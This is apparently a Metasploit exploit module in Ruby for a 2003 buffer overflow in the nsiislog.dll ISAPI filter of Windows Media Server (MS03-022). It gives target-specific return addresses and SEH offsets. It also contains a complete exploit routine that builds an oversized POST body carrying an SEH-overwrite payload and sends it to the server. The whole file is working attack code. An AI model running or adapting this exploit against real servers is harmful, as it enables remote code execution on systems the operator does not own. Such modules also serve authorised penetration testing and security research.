require 'msf/core'

module Msf

class Exploits::Windows::Isapi::IIS_NSIISLOG_Overflow < Msf::Exploit::Remote


	include Exploit::Remote::HttpClient
	include Exploit::Remote::BruteTargets
	include Exploit::Remote::Seh
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'IIS nsiislog.dll ISAPI POST Overflow',
			'Description'    => %q{
				This exploits a buffer overflow found in the nsiislog.dll
				ISAPI filter that comes with Windows Media Server. This
				module will also work against the 'patched' MS03-019
				version. This vulnerability was addressed by MS03-022.
					
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '4535'],
					[ 'MSB', 'MS03-022'],
					[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
					[ 'MIL', '30'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Brute Force',            { }],
					['Windows 2000 -MS03-019', { 'Rets' => [  9769, 0x40f01333 ] }],
					['Windows 2000 +MS03-019', { 'Rets' => [ 13869, 0x40f01353 ] }],
					['Windows XP   -MS03-019', { 'Rets' => [  9773, 0x40f011e0 ] }],
				],
			'DisclosureDate' => 'Jun 25 2003',
			'DefaultTarget'  => 0))
			
			register_options(
				[
					OptString.new('URL', [ true,  "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
				], self.class)			
	end
	
	def check
		c = connect
		req = c.request({ 'uri' => datastore['URL'] })
		res = c.send_request(req, -1)
		
		if (res and res.body =~ /NetShow ISAPI/)
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end
	
	def exploit_target(target)

		c = connect
		
		buf = ''
		%w{
			date time c-dns cs-uri-stem c-starttime
			x-duration c-rate c-status c-playerid c-playerversion
			c-playerlanguage cs(User-Agent) cs(Referer) c-hostexe
		}.each do |field|
			buf << field + '=' + 'BOOM&'
		end
		
		pat = 'O' * 65535
		seh = generate_seh_payload(target['Rets'][1])		
		pat[ target['Rets'][0] - 4, seh.length] = seh
		buf << pat
		
		req = c.request({
			'uri'          => datastore['URL'],
			'method'       => 'POST',
			'user-agent'   => 'NSPlayer/2.0',
			'content-type' => 'application/x-www-form-urlencoded',
			'data'         => buf,			
		})
		
		print_status("Sending request...")
		c.send_request(req, 0)
		
		handler
		disconnect
	end

end
end